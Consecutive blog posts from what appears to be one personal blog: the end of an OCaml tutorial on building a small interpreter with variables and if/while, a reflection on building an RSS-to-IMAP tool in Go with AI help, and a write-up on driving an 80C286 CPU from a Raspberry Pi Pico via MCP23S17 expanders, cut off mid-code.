7. boolean and and or operators (parse_bool_expr)

So we need to insert three new functions right after parse_bool_unary:

and parse_comparison ps =
  let left = parse_add_sub ps in
  match peek ps with
  | TLt    -> ignore (consume ps); ELt (left, parse_add_sub ps)
  | TLtEq  -> ignore (consume ps); ELtEq (left, parse_add_sub ps)
  | TGt    -> ignore (consume ps); EGt (left, parse_add_sub ps)
  | TGtEq  -> ignore (consume ps); EGtEq (left, parse_add_sub ps)
  | TEq    -> ignore (consume ps); EEq (left, parse_add_sub ps)
  | TNotEq -> ignore (consume ps); ENotEq (left, parse_add_sub ps)
  | _ -> left

The structure is similar to what we've seen before, except we don't use recursion within the same level. I didn't want to support expressions like 1 < 2 >= 0 == 0. Some languages partially allow this (Python, for example, supports a < b < c). It's just a matter of taste.

and parse_add_sub ps =
  let rec loop left =
    match peek ps with
    | TPlus  -> ignore (consume ps); loop (EAdd (left, parse_mul_div ps))
    | TMinus -> ignore (consume ps); loop (ESub (left, parse_mul_div ps))
    | _ -> left
  in
  loop (parse_mul_div ps)

Here we have the familiar internal recursive loop, so expressions like 1 + 2 + 3 - 4 are now possible and will be evaluated left to right.

and parse_mul_div ps =
  let rec loop left =
    match peek ps with
    | TAsterisk -> ignore (consume ps); loop (EMul (left, parse_bracketing ps))
    | TSlash    -> ignore (consume ps); loop (EDiv (left, parse_bracketing ps))
    | TPercent  -> ignore (consume ps); loop (EMod (left, parse_bracketing ps))
    | _ -> left
  in
  loop (parse_bracketing ps)

The multiplication/division variant doesn't add much new conceptually. It follows the same logic, just calling the next function in the precedence chain.

A small adjustment is also made in parse_primary:

and parse_primary ps =
  match peek ps with
  | TBool b -> ignore (consume ps); EBool b
  | TNumber n -> ignore (consume ps); ENumber n
  | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t)))

Just like with TBool, we now also handle a TNumber token.

With that, we return to evaluation. Naturally, the value type expands, along with show_value:

exception RuntimeError of string

type value =
  | VBool of bool
  | VNumber of float

let show_value v =
  match v with
  | VBool b -> string_of_bool b
  | VNumber n ->
    if Float.is_integer n then string_of_int (int_of_float n)
    else string_of_float n

Then we extend eval:

let rec eval expr =
  match expr with
  | EBool b -> VBool b
  | ENumber b -> VNumber b
  | EBoolNot e ->
    (match eval e with
    | VBool b -> VBool (not b)
    | _ -> raise (RuntimeError "Invalid type"))
  | EBoolAnd (l, r) -> eval_bool_arithmetic ( && ) l r
  | EBoolOr (l, r)  -> eval_bool_arithmetic ( || ) l r
  | EGt (l, r)      -> eval_comparison ( > ) l r
  | EGtEq (l, r)    -> eval_comparison ( >= ) l r
  | ELt (l, r)      -> eval_comparison ( < ) l r
  | ELtEq (l, r)    -> eval_comparison ( <= ) l r
  | EEq (l, r)      -> eval_comparison ( = ) l r
  | ENotEq (l, r)   -> eval_comparison ( <> ) l r
  | EAdd (l, r)     -> eval_arithmetic ( +. ) l r
  | ESub (l, r)     -> eval_arithmetic ( -. ) l r
  | EMul (l, r)     -> eval_arithmetic ( *. ) l r
  | EDiv (l, r)     -> eval_arithmetic ( /. ) l r
  | EMod (l, r)     ->
    (match eval l, eval r with
    | VNumber a, VNumber b -> VNumber (float_of_int (int_of_float a mod int_of_float b))
    | _ -> raise (RuntimeError "Invalid type"))

Like the arithmetic operators, the binary and/or operators also got a new helper function. The first argument after the function name is the operator in parentheses. This way, it can be passed as an argument like any other function. The arithmetic operators look slightly unusual because OCaml uses different operators for the float type.

The remainder operator stands out a bit, since it's not defined for floats directly. We first convert everything to int, apply the operation, and then convert back to float, since the only numeric type of our language uses float under the hood.

and eval_bool_arithmetic op l r =
  match eval l, eval r with
  | VBool a, VBool b -> VBool (op a b)
  | _ -> raise (RuntimeError "Invalid type")

and eval_comparison op l r =
  match eval l, eval r with
  | VNumber a, VNumber b -> VBool (op a b)
  | _ -> raise (RuntimeError "Invalid type")

and eval_arithmetic op l r =
  match eval l, eval r with
  | VNumber a, VNumber b -> VNumber (op a b)
  | _ -> raise (RuntimeError "Invalid type")

The helper functions are very similar. The only thing that changes is the types they accept and the type they return.

In a dynamically typed language, this is where the rules are defined. For example, eval_bool_arithmetic could accept VNumber on both sides and define a rule where 0 is false, and anything else is true.

A small curiosity here: == and <> currently only work on numbers, so we can't run something like print(true == true). The other comparison operators don't necessarily make sense for booleans either. Though if we interpret false as 0 and true as 1, that could work. Yet another design decision left to the world's creator.

And with that, we've successfully introduced a new type into our language. If we run a program like:

print(1 + 1 * 2 - 8 < 3 and not 15 / 5 > 7 - 1 + 2 - 3)

We get the following output:

$ ocaml main.ml
true

But what happens if we try to run print(-6 < 0)?

$ ocaml main.ml
Parse error: Unexpected token 'TMinus'

Oh no! We don't support negative numbers in the source code.

As with everything, there are multiple ways to fix this. We can explicitly handle negative numbers (- followed by a number), or treat - as both a unary and binary operator (adding something like ENeg alongside ESub), which would allow expressions like -(6 - 5) as well. I went with the first approach, but implementing the second is a good exercise.

and parse_primary ps =
  match peek ps with
  (* ... *)
  | TMinus ->
    ignore (consume ps);
    (match peek ps with
    | TNumber n -> ignore (consume ps); ENumber (-1. *. n)
    | t -> raise (ParseError (Printf.sprintf "Unexpected token '%s'" (show_token t))))
  (* ... *)

Perhaps the only surprising part here is (-1. *. n), which comes from OCaml's slightly unusual relationship with floats.

If we rerun print(-6 < 0), we now get the correct result:

$ ocaml main.ml
true

The changes in this step can be found here.

Now that we have both boolean and numeric values, it would be nice to store them somewhere. Time to introduce variables.

Variables

On the lexer and parser side of things, there won't be too many surprises, but evaluation will get a bit spicier. Let's start, as usual, with the new tokens:

type token =
  (* ... *)
  | TEqual
  (* ... *)

We already laid the groundwork in the lexer when we introduced the == operator. Now we just need to replace the error handling with the new behavior.

match current_char ls with
(* ... *)
| '=' ->
  step ls;
  (match current_char ls with
  | '=' -> step ls; loop (TEq :: tokens)
  | _   -> loop (TEqual :: tokens))
(* ... *)

The syntax tree gets a new expression for variables and a new statement for assignment.

type expr =
  (* ... *)
  | EVar of string

type stmt =
  | SPrint of expr
  | SAssign of string * expr

When handling primary expressions, any unknown identifier will now be treated as a variable, and evaluation will decide whether it actually exists.

and parse_primary ps =
  match peek ps with
  (* ... *)
  | TIdentifier i -> ignore (consume ps); EVar i
  (* ... *)

And in the statement parser, if something starts with an identifier, we assume it's an assignment.

and parse_stmt ps =
  match peek ps with
  (* ... *)
  | TIdentifier t ->
    ignore (consume ps);
    expect ps TEqual;
    SAssign (t, parse_expr ps)
  (* ... *)

Now we can move on to the interesting part: evaluation. During execution, we need a place to store the variables and their values.

In a more serious programming language, this would be a much more complex issue, since we'd also need to handle scopes. But our little language hasn't reached that level of maturity yet, so a simple hash table is enough to store key-value pairs.

let make_env () = 
  Hashtbl.create 16

let set_env env name value =
  Hashtbl.replace env name value

let lookup_env env name =
  match Hashtbl.find_opt env name with
  | Some v -> v
  | None -> raise (RuntimeError (Printf.sprintf "Undefined variable: %s" name))

make_env creates an empty environment, set_env assigns a value to a variable, and lookup_env retrieves it (or fails if the variable doesn't exist).

Both eval and exec require fairly significant changes. They now need to take the env as an argument, which must be passed through all related function calls.

We also need to handle the new expression that reads a variable's value:

let rec eval env expr =
  match expr with
  (* ... *)
  | EVar v -> lookup_env env v
  (* ... *)

And the new statement assigns a value to a variable. The value on the right-hand side can itself be an expression, so it must be evaluated first.

let exec env stmt =
  match stmt with
  (* ... *)
  | SAssign (name, value) ->
    set_env env name (eval env value)

Due to the introduction of env, only minimal changes were needed in the "main" function:

let tokens = tokenize src in
let stmts = parse_program tokens in
let env = make_env () in
List.iter (exec env) stmts

And the output should, hopefully, look something like this:

$ ocaml main.ml
5                                 
6
true

The changes in this step can be found here.

The language is shaping up nicely, but something is still missing... the cherry on top of our little grammatical cake.

Control flow

This post is already getting quite long, but it wouldn't really feel like a programming language without the good old if, elif, else, and while. Let's start by adding the new tokens. Besides the four keywords, the two curly braces are also new additions to the language.

type token =
  (* ... *)
  | TIf
  | TElseIf
  | TElse
  | TWhile
  | TLeftCurlyBracket
  | TRightCurlyBracket
  (* ... *)

We handle the new keywords in tokenize_name in the usual way.

match name with
(* ... *)
| "if"    -> TIf
| "elif"  -> TElseIf
| "else"  -> TElse
| "while" -> TWhile
(* ... *)

And in tokenize, we add support for the new braces.

match current_char ls with
(* ... *)
| '{' -> step ls; loop (TLeftCurlyBracket :: tokens)
| '}' -> step ls; loop (TRightCurlyBracket :: tokens)
(* ... *)

After much of the same old, here's something new and exciting in the statement type: both if and while take lists of statements as parameters.

type stmt =
  | SPrint of expr
  | SAssign of string * expr
  | SIf of expr * stmt list * stmt list
  | SWhile of expr * stmt list

'And what about elif and else?' you might ask. Those are what you'd typically call syntactic sugar: convenience features for the language user that don't need to exist at the syntax tree level. A single construct, SIf(condition, true_statements, false_statements), can handle everything:

• if there is an elif branch, the false branch becomes a single-element list containing another SIf()
• if there is no else branch, the false branch of the final SIf() is just an empty list

We also need to adjust how statements are parsed. Until now, we read statements up to TEOF, but now we also need to handle cases where statements stop at a closing brace.

let rec parse_stmts ps stop_token =
  let rec loop stmts =
    skip_newlines ps;
    if (peek ps) <> stop_token then
      loop (parse_stmt ps :: stmts)
    else
      stmts
  in

  List.rev (loop [])

We update parse_program accordingly:

let parse_program tokens =
  let ps = make_parser tokens in
  parse_stmts ps TEOF

And parse_stmt only needs a suspiciously small amount of modification:

and parse_stmt ps =
  match peek ps with
  | TIf ->
    parse_if ps
  (* ... *)

Then comes the actual implementation for handling if:

and parse_if ps =
  ignore (consume ps);
  expect ps TLeftParen;
  let cond = parse_expr ps in
  expect ps TRightParen;

  expect ps TLeftCurlyBracket;
  let then_branch = parse_stmts ps TRightCurlyBracket in
  expect ps TRightCurlyBracket;

  let else_branch = parse_else ps in

  SIf (cond, then_branch, else_branch)

We first read the condition, which we expect to be enclosed in ( and ). Then we parse the statements that run if the condition evaluates to true, enclosed in { and }. The else branch is handled by a separate function.

and parse_else ps =
  match peek ps with
  | TElseIf ->
    [ parse_if ps ]
  | TElse ->
    ignore (consume ps);
    expect ps TLeftCurlyBracket;
    let stmts = parse_stmts ps TRightCurlyBracket in
    expect ps TRightCurlyBracket;
    stmts
  | _ -> []

Handling elif recursively calls back into parse_if, but wraps its result in a list. The else branch simply parses the statements after it.

and parse_stmt ps =
  match peek ps with
  (* ... *)
  | TWhile ->
    ignore (consume ps);
    expect ps TLeftParen;
    let cond = parse_expr ps in
    expect ps TRightParen;

    expect ps TLeftCurlyBracket;
    let stmts = parse_stmts ps TRightCurlyBracket in
    expect ps TRightCurlyBracket;

    SWhile (cond, stmts)
  (* ... *)

The while implementation is almost identical to if, except there is no else branch.

With that, parsing is complete, and we move on to evaluation. First, we slightly reorganize exec so it takes a list of statements as input, and the original logic is moved into exec_stmt.

let rec exec env stmts =
  List.iter (exec_stmt env) stmts

and exec_stmt env stmt =
  match stmt with
  (* ... *)
  | SIf (cond, then_branch, else_branch) ->
    (match eval env cond with
    | VBool true  -> (exec env then_branch)
    | VBool false -> (exec env else_branch)
    | _ -> raise (RuntimeError "If condition must be a boolean"))
  | SWhile (cond, stmts) ->
    let rec loop () =
      match eval env cond with
      | VBool true ->
        exec env stmts;
        loop ()
      | VBool false -> ()
      | _ -> raise (RuntimeError "While condition must be a boolean")
    in
    loop ()

This change is immediately used in the handling of SIf and SWhile. For SIf, we use pattern matching to decide which branch to execute. For SWhile, we repeatedly execute the body recursively until the condition becomes false.

In the "main" function, we only need to adjust the call to exec.

let tokens = tokenize src in
let stmts = parse_program tokens in
let env = make_env () in
exec env stmts

And then we can run something that finally looks like real code:

fizzbuzz = -15
fizz = -3
buzz = -5
i = 1
while (i <= 15) {
  if (i % 15 == 0) {
    print(fizzbuzz)
  } elif (i % 3 == 0) {
    print(fizz)
  } elif (i % 5 == 0) {
    print(buzz)
  } else {
    print(i)
  }
  i = i + 1
}

Unfortunately, strings don't exist in our little world yet, so this was the best we could do, but the output speaks for itself. We're solving enterprise-grade problems with elegant simplicity.

$ ocaml main.ml
1
2
-3
4
-5
-3
7
8
-3
-5
11
-3
13
14
-15

The changes in this step can be found here.

'Tis the end

And so we've arrived here. 'The machine works, the creator rests.' By far the longest post ever published on this blog. Congratulations to everyone who made it this far. I hope I managed to cause a few late-night coding sessions.

And the final result? In barely 500 lines, we built something that can genuinely be called a programming language (even if a fairly limited one). It actually surprised me how compact it ended up being.

There are still countless extension possibilities and challenges hidden in this project, but a solid foundation has been built for further experimentation. Just to mention a few natural next steps:

• extending error handling (so that in both ParseError and RuntimeError cases, we can point out the exact location in the original source code)
• short-circuit evaluation for boolean expressions (if a in a and b evaluates to false, b doesn't need to be evaluated)
• functions (and the inevitable problem of variable scopes that comes with them)
• a string type, along with its operators, functions, and statements
• lists and dictionaries

With that, I'll wrap things up here. Thank you for reading.

TEOF

The ChatGPT-refreshed version of the original image

Actually, it should be '36 months later', but I couldn't resist the weak movie reference. So, three years ago, I tried to make a hobby project idea a reality with the help of AI. The experiment was mostly a success, yet ultimately, it didn't produce code that I would be happy to run in production. Looking at it from that perspective, it seems the project was never really finished. Three years is a long time, and the technology has surely evolved a lot since then, so I figured it might be worth trying again.

Briefly about the project: it periodically reads RSS feeds, generates emails from the feed items it finds, and uploads them to an email account via IMAP.

First attempt

Even though this mindset is getting less fashionable these days, I still like to understand "my own" code that's being written. With that in mind, I started the project by writing the code myself, letting the AI teach me how to develop in Go.

I wanted to use as few external dependencies as possible so I could focus on getting to know the language and its standard library. Obviously, I wasn't going to reimplement an SQLite library, but for the pipeline-like architecture I had in mind, I could have used existing solutions. Instead, I chose to dive deeper into the world of Go channels, contexts, and concurrency.

This is a territory where an inexperienced person (me) can easily shoot themselves in the foot, and the AI, with all its enthusiasm, is more than happy to help to do exactly that. If you can get yourself thoroughly confused on your own, with AI assistance, you'll manage to confuse each other twice as badly. The AI makes you doubt yourself, and in exchange, you influence it with every little signal. In the end, you find yourself hunting for some tutorial written by a real human being, back before the AI boom.

As is often the case, after a while, I got bored with this educational project and put the whole thing on the back burner. I managed to get to the point where there was a working prototype, and about half of the pipeline existed in a "production-ready" state.

Second attempt

Later, when I picked up the thread again, I approached things a bit differently. I no longer wanted to learn; I just wanted to finish the project. Not because I actually needed the working program, but because I felt I could get a clearer picture of the tools by seeing something through to the end.

I adjusted my toolkit accordingly and carried on with Claude Code, but not with the currently fashionable "let's unleash 30 agents on the problem and see what they come up with" attitude. The first attempt had given me a solid enough foundation to move forward in small steps. I supervised every step and corrected things when needed, but I didn't make any meaningful changes by hand. I didn't even try running it until the very end.

After roughly half a day and burning through $35, I had what you could call a finished piece of software. Since I'm not a Go developer, I'm unfortunately not in a position to judge how elegant or idiomatic it is. It might not even matter that much now. Maybe people should just give up on reading through the code.

The end-to-end tests still caught a few potential problems (mostly around concurrency), and the dry run with real feed data uncovered a few more (overly permissive regular expressions, improper encodings), but it was nothing earth-shattering.

In the end, I wrote the .gitlab-ci.yml for GitLab CI and the Dockerfile for production deployment by hand because it felt like that would be faster than arguing with the AI about it.

Takeaways

The output

I tend to think that the more complex the topic is, the less you can trust the output (whether it's text or code). This is especially true if you are not well-versed in the given subject. Fundamentally, I consider it a good, personalized learning (or code-explaining) tool, but I have my reservations about the output.

The other aspect of this is how easily it gets influenced by my input. If I throw out an idea, it tends to run with it, but that doesn't make me certain that my alternative was actually the better idea, or if it's just choosing my solution out of an urge to please me.

Sometimes I pitch an idea as a question, like 'I wonder if this would work like this or that.' The AI, of course, responds with 'Great insight, I'll get right to implementing it.' Then it spends 10-20 minutes arguing with itself, tearing the whole project apart, clearly going nowhere, but it won't stop on its own. Eventually, I just make it stop and hit git restore.

Workflow

This is closely related to the quality of the output. My conclusion is that I wouldn't be comfortable letting it run loose and do whatever it wants. You have to catch it as early as possible when it's heading in the wrong direction, challenge its ideas, bring up alternatives (or sometimes just the right keywords). But this can only work if you have a certain level of expertise to be able to tell when things are going off track.

And then there's the oddity that I ended up writing the .gitlab-ci.yml and Dockerfile by hand. I don't think it happened simply because I was fed up with chatting by the end of the day and just wanted to do something. It was probably more along the lines of: if I know something well enough and I think it won't take much time, I'd rather just do it myself than spend the same amount of time (or more) telling someone else how to do it. Especially when that someone gains absolutely no benefit from doing it themselves (because, for instance, they're not capable of learning from the experience).

Speed

In this case, I was using it for a hobby project, so I'm in no rush. The problem isn't that it's slow. It's just that the interaction pattern is somehow awkward. It's a bit too slow to avoid getting bored, but too fast to do something meaningful during the idle time.

You could run multiple conversations in parallel (I haven't tried that), but I suspect neither I nor the AI is particularly good at that kind of multitasking.

Cost and value

Then there's the question of price. As I mentioned, I spent around $35 on this project in the second round alone. I don't know the exact cost of the first round because it was done with a monthly subscription, but my rough estimate is somewhere around $10-20.

I couldn't say whether that counts as a lot or a little, but when that final figure came up, my first thought was: if someone tried to sell me this finished piece of software for $35, I wouldn't buy it.

Brave new world, act two

So here we are, three years later. The novelty has worn off a little, and the cracks are starting to show through the peeling paint. The genie is certainly out of the bottle, but instead of an all-powerful magical being, what we got was a hyperactive junior developer. I'll leave it to everyone to draw their own conclusions based on their own situation. As for me, I still don't see clearly how our life together is going to work out.

What is "real"? How do you define "real"? If you're talking about what you can feel, what you can smell, taste, and see... then "real" is simply electrical signals interpreted by your brain.

— Morpheus, The Matrix

If the processor is the brain of the computer, could it also be part of some kind of virtual reality? Simulated memory, software-defined peripherals, artificially generated interrupts.

My first computer was a 286 with 1 MB of RAM and a 50 MB HDD (if I remember correctly). So I decided to pick up a 286 processor and try to simulate the rest of the computer around it. Or at least make it to boot up and run some simple assembly code.

Two years ago, I ordered two (that's how many came in a package) Harris 80C286-12 processors. My memories are a bit hazy, but I believe the C in its name is important because these are the types that are less sensitive to clock accuracy (the 12 at the end means it likes to run at 12 MHz), and can even be stepped manually.

At first, I wasn't too successful with it, and the project ended up in a drawer. Then this year, I picked it up again and tried to figure out where things went wrong.

Wiring up

The processor fits into a PLCC-68 socket. The pins of the socket are not suitable for plugging in jumper wires directly, so the socket was mounted onto an adapter PCB with jumper-compatible headers. The pinout of both the chip and the socket is included in the datasheet, but the adapter PCB complicates things a bit, so I created a small conversion table to make my life easier.

The table also helped identify the various inputs and outputs, which would later be useful when connecting to the Raspberry Pi. As you can see, no fewer than 57 pins are required, which is more than the Pi can provide. The MCP23S17 IO expander came to the rescue. While it wouldn't allow us to drive the processor at the breakneck speed of the supported 12 MHz, fortunately, that's not our goal.

The chip contains 16 IO pins, so we'll need four of them. Although each pin can individually be configured as input or output, I tried to group them logically. The expander has side A and side B, each with 8 pins, and the final result looked like this:

         ┌───┬──┬───┐      
         ┤   └──┘   ├      
         ┤          ├      
         ┤   FLAG   ├ ERROR
         ┤          ├ BUSY 
         ┤ ADDR:100 ├ INTR 
   READY ┤          ├ NMI  
   RESET ┤B        A├ PEREQ
     CLK ┤          ├ HOLD 
         └──────────┘      
         ┌───┬──┬───┐      
    HLDA ┤   └──┘   ├ A23  
COD/INTA ┤          ├ A22  
    M/IO ┤   MISC   ├ A21  
    LOCK ┤          ├ A20  
     BHE ┤ ADDR:011 ├ A19  
      S1 ┤          ├ A18  
      S0 ┤B        A├ A17  
   PEACK ┤          ├ A16  
         └──────────┘      
         ┌───┬──┬───┐      
      A8 ┤   └──┘   ├ A7   
      A9 ┤          ├ A6   
     A10 ┤   ADDR   ├ A5   
     A11 ┤          ├ A4   
     A12 ┤ ADDR:010 ├ A3   
     A13 ┤          ├ A2   
     A14 ┤B        A├ A1   
     A15 ┤          ├ A0   
         └──────────┘      
         ┌───┬──┬───┐      
      D8 ┤   └──┘   ├ D7   
      D9 ┤          ├ D6   
     D10 ┤   DATA   ├ D5   
     D11 ┤          ├ D4   
     D12 ┤ ADDR:001 ├ D3   
     D13 ┤          ├ D2   
     D14 ┤B        A├ D1   
     D15 ┤          ├ D0   
         └──────────┘      

The Pi communicates with the expanders over SPI. Several solutions exist for this. I chose the one where all chips are active simultaneously, and the Pi is sending them messages by their hardware address.

The RESET pin (wired with the purple cable) does not need to be controlled by the Pi in this case, but during one of the debugging sessions, I tried it in the hopes that it would help, and it remained that way. Now we just need to connect everything with a truckload of jumper wires, and we could move on to programming.

IO Expansion

We only need a relatively small portion of the MCP23S17’s capabilities. We just have to configure the direction of the IO pins and read/write the relevant registers. Configuration is done by modifying register values. First, we need to enable the use of hardware addressing. By default, all chips have the address 000, so if we send a register modification to that address (setting the HAEN bit in the IOCON register), hardware addressing will be enabled simultaneously on all four chips.

After a few hours (days) of head-scratching, it turned out that this alone is not necessarily sufficient for proper operation. We also need to send the same message to the configured hardware address itself to enable hardware addressing (rather odd, I know). So if, for example, we set the hardware address to 101, we must resend the original register modification message previously sent to 000 to 101 as well.

Now that hardware addressing is sorted out, we need to set the IODIRA and IODIRB registers of each chip to the appropriate direction. Because of our grouping, we can configure an entire side at once for reading (11111111) or writing (00000000). Further details can be found in the chip's datasheet.

Originally, I started working with a Pi Zero, but eventually settled on a Pi Pico running MicroPython. To manage the expander chips, I created the following small class:

class MCP23S17:
    IODIRA = 0x00
    IODIRB = 0x01
    IOCON = 0x0B
    GPIOA = 0x12
    GPIOB = 0x13

    def __init__(self, address, spi, cs):
        self.__address = address
        self.__spi = spi
        self.__cs = cs

    def init(self):
        self.__writeRegister(0b01000000, self.IOCON, 0b00001000)
        self.writeRegister(self.IOCON, 0b00001000)

    def writeRegister(self, reg, value):
        self.__writeRegister(self.__address, reg, value)

    def readRegister(self, reg):
        tx = bytearray([self.__address | 1, reg, 0])
        rx = bytearray(3)
        self.__cs.value(0)
        self.__spi.write_readinto(tx, rx)
        self.__cs.value(1)
        return rx[2]

    def __writeRegister(self, address, reg, value):
        self.__cs.value(0)
        self.__spi.write(bytes([address, reg, value]))
        self.__cs.value(1)

In init, you can clearly see that we set the value of the IOCON register twice. We can use the class as follows to communicate with the processor:

spi = SPI(0, baudrate=1000000, sck=Pin(2), mosi=Pin(3), miso=Pin(4))
cs = Pin(5, mode=Pin.OUT, value=1)
rst = Pin(6, mode=Pin.OUT, value=0)

chip_data = MCP23S17(0b01000010, spi, cs)
chip_addr = MCP23S17(0b01000100, spi, cs)
chip_misc = MCP23S17(0b01000110, spi, cs)
chip_flag = MCP23S17(0b01001000, spi, cs)

rst.value(1)

chip_data.init()
chip_addr.init()
chip_misc.init()
chip_flag.init()

chip_data.writeRegister(MCP23S17.IODIRA, 0xff)
chip_data.writeRegister(MCP23S17.IODIRB, 0xff)

chip_addr.writeRegister(MCP23S17.IODIRA, 0xff)
chip_addr.writeRegister(MCP23S17.IODIRB, 0xff)

chip_misc.writeRegister(MCP23S17.IODIRA, 0xff)
chip_misc.writeRegister(MCP23S17.IODIRB, 0xff)

chip_flag.writeRegister(MCP23S17.IODIRA, 0x00)
chip_flag.writeRegister(MCP23S17.IODIRB, 0x00)

At first, I missed the init calls here and was surprised when nothing worked. Most of the pins are configured for reading; only the flags need to be set to writing.

The Initial State

Before we can do anything, we need to RESET the processor. For this, the RESET flag must be held active for at least 16 clock cycles, and switching it on and off must be synchronized with the clock flag. First, I created a few constants for the flags to make life easier:

# chip_flag GPIOA
FLAG_ERROR = 0x20
FLAG_BUSY  = 0x10
FLAG_INTR  = 0x08
FLAG_NMI   = 0x04
FLAG_PEREQ = 0x02
FLAG_HOLD  = 0x01

# chip_flag GPIOB
FLAG_CLK   = 0x80
FLAG_RESET = 0x40
FLAG_READY = 0x20

# chip_misc GPIOB
FLAG_PEACK    = 0x80
FLAG_S0       = 0x40
FLAG_S1       = 0x20
FLAG_BHE      = 0x10
FLAG_LOCK     = 0x08
FLAG_M_IO     = 0x04
FLAG_COD_INTA = 0x02
FLAG_HLDA     = 0x01

It's worth comparing this with the earlier MCP23S17 pin mapping. We treat each group of 8 pins as 8 bits / 1 byte of data. For example, in the byte from the 'misc' chip's GPIOB side, the HLDA flag is the least significant bit, while PEACK is the most significant.

PEACK
↓
10100111
       ↑
    HLDA

With the flags in place, we can perform the RESET:

for i in range(17):
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
    time.sleep(0.001)
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_RESET)
    time.sleep(0.001)

The sleep intervals were chosen more or less arbitrarily; we don't have to adhere to any strict timing. During RESET, the processor must enter a defined state. We can verify this with the following piece of code:

data = chip_addr.readRegister(MCP23S17.GPIOA)
print('A7-0:   ' + str(bin(data)))
data = chip_addr.readRegister(MCP23S17.GPIOB)
print('A15-8:  ' + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOA)
print('A23-16: ' + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOB)
print('PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: ' + str(bin(data)))

The values we expect to see look like this:

A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000

Strangely enough, I was greeted with the following instead:

A7-0:   0b11111111
A15-8:  0b11111000
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000

It was hard not to notice that the values in the second and fourth lines were identical. I checked all the connections, disassembled everything, debugged with LEDs to ensure the values I wrote were going to the right places, replaced the chip assigned to the A15-8 pins, swapped the processor for the spare, reread the code a thousand times, but nothing helped.

Then I found that hardware addressing trick mentioned earlier with the MCP23S17, and everything started to work like magic. The point is, if everything went well, we can release the RESET flag, and the boot process can begin.

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
time.sleep(0.001)
chip_flag.writeRegister(MCP23S17.GPIOB, 0)
time.sleep(0.001)

Initialization

After this, within 50 clock cycles, the processor must begin to read the first instruction to execute from address 0xFFFFF0. The COD/INTA, M/IO, S0, and S1 flags determine what the processor intends to do.

I left out the less interesting ones from the table; they can be viewed in the datasheet. For our small test, we'll only need these four:

• halt / shutdown
• memory data write
• memory data read
• memory instruction read

So we start sending clock signals and wait until we reach the first 'Memory instruction read':

cycle = 1
while True:
    print(f'#{cycle}')
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
    time.sleep(0.001)
    chip_flag.writeRegister(MCP23S17.GPIOB, 0)
    time.sleep(0.001)

    data = chip_misc.readRegister(MCP23S17.GPIOB)
    PEACK = data & FLAG_PEACK
    S0 = data & FLAG_S0
    S1 = data & FLAG_S1
    BHE = data & FLAG_BHE
    LOCK = data & FLAG_LOCK
    M_IO = data & FLAG_M_IO
    COD_INTA = data & FLAG_COD_INTA
    HLDA = data & FLAG_HLDA

    if not COD_INTA and M_IO and not S1 and not S0:
        print('halt / shutdown')
        sys.exit(0)
    elif not COD_INTA and M_IO and not S1 and S0:
        print('Memory data read')
    elif not COD_INTA and M_IO and S1 and not S0:
        print('Memory data write')
    elif COD_INTA and M_IO and not S1 and S0:
        print('Memory instruction read')

    time.sleep(0.01)
    cycle += 1

When we arrive successfully, we can start sending, say, NOP (0x90) instructions. We set the data bus to write mode, put the NOP instruction on it, send a clock signal, then set the data bus back to read mode.

chip_data.writeRegister(MCP23S17.IODIRA, 0x00)
chip_data.writeRegister(MCP23S17.IODIRB, 0x00)
chip_data.writeRegister(MCP23S17.GPIOA, 0x90)
chip_data.writeRegister(MCP23S17.GPIOB, 0x90)

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(0.001)
chip_flag.writeRegister(MCP23S17.GPIOB, 0)
time.sleep(0.001)

chip_data.writeRegister(MCP23S17.IODIRA, 0xFF)
chip_data.writeRegister(MCP23S17.IODIRB, 0xFF)

Complex Mathematical Operations

That's all well and good, but let's look at something more interesting. Something that requires both reading and writing memory. A simple little program that reads two numbers from memory, adds them, and writes the result back to memory.

Since we start very close to the end of memory (0xFFFFF0), we don't have much room, so first we need to jump elsewhere.

reset.asm

[cpu 286]
org 0xfff0

jmp 0x0000:0x0500

Then comes the addition:

add.asm

[cpu 286]
org 0x0500

xor  ax, ax
mov  ds, ax

mov  ax, [num1]
add  ax, [num2]
mov  [result], ax

hlt

; Data
num1    dw 0x1234
num2    dw 0x000a
result  dw 0x0000

Using the nasm program, we can also generate a binary from it:

$ nasm reset.asm
$ nasm add.asm

Then, with a short Python script, we can convert it into a Python-friendly format so we can load it into our virtual memory:

hex_dump.py

import sys

with open(sys.argv[1], "rb") as f:
    data = f.read()
hex_values = ", ".join(f"0x{byte:02x}" for byte in data)
print(f"[{hex_values}]")

$ python hex_dump.py reset
[0xea, 0x00, 0x05, 0x00, 0x00]
$ python hex_dump.py add
[0x31, 0xc0, 0x8e, 0xd8, 0xa1, 0x0f, 0x05, 0x03, 0x06, 0x11, 0x05, 0xa3, 0x13, 0x05, 0xf4, 0x34, 0x12, 0x0a, 0x00, 0x00, 0x00]

To simulate memory, I put together the following small class:

class Memory:
    def __init__(self):
        self.__data = {}

    def load(self, base, data):
        for i, b in enumerate(data):
            self.__data[base + i] = b

    def __getitem__(self, address):
        return self.__data.get(address, 0x00)

    def __setitem__(self, address, value):
        self.__data[address] = value & 0xFF

It's just a simple dict with a helper function that allows us to load data into arbitrary addresses. Which we then do with the code generated by nasm:

MEMORY = Memory()
MEMORY.load(0x000500, [
    0x31, 0xc0,
    0x8e, 0xd8,
    0xa1, 0x0f, 0x05,
    0x03, 0x06, 0x11, 0x05,
    0xa3, 0x13, 0x05,
    0xf4,
    0x34, 0x12,
    0x0a, 0x00,
    0x00, 0x00
])
MEMORY.load(0xfffff0, [
    0xea, 0x00, 0x05, 0x00, 0x00
])

All that remains is to handle the cases. But first, we need to talk about the BHE flag and the A0 pin.

So during an operation involving the data bus, we can read/write the entire data bus, its upper half, or its lower half.

In our case, 'Memory data read' is very similar to 'Memory instruction read', so we can handle both with the same code. We just need to handle the flags mentioned above and use the fake memory.

address = (a3 << 16) + (a2 << 8) + a1
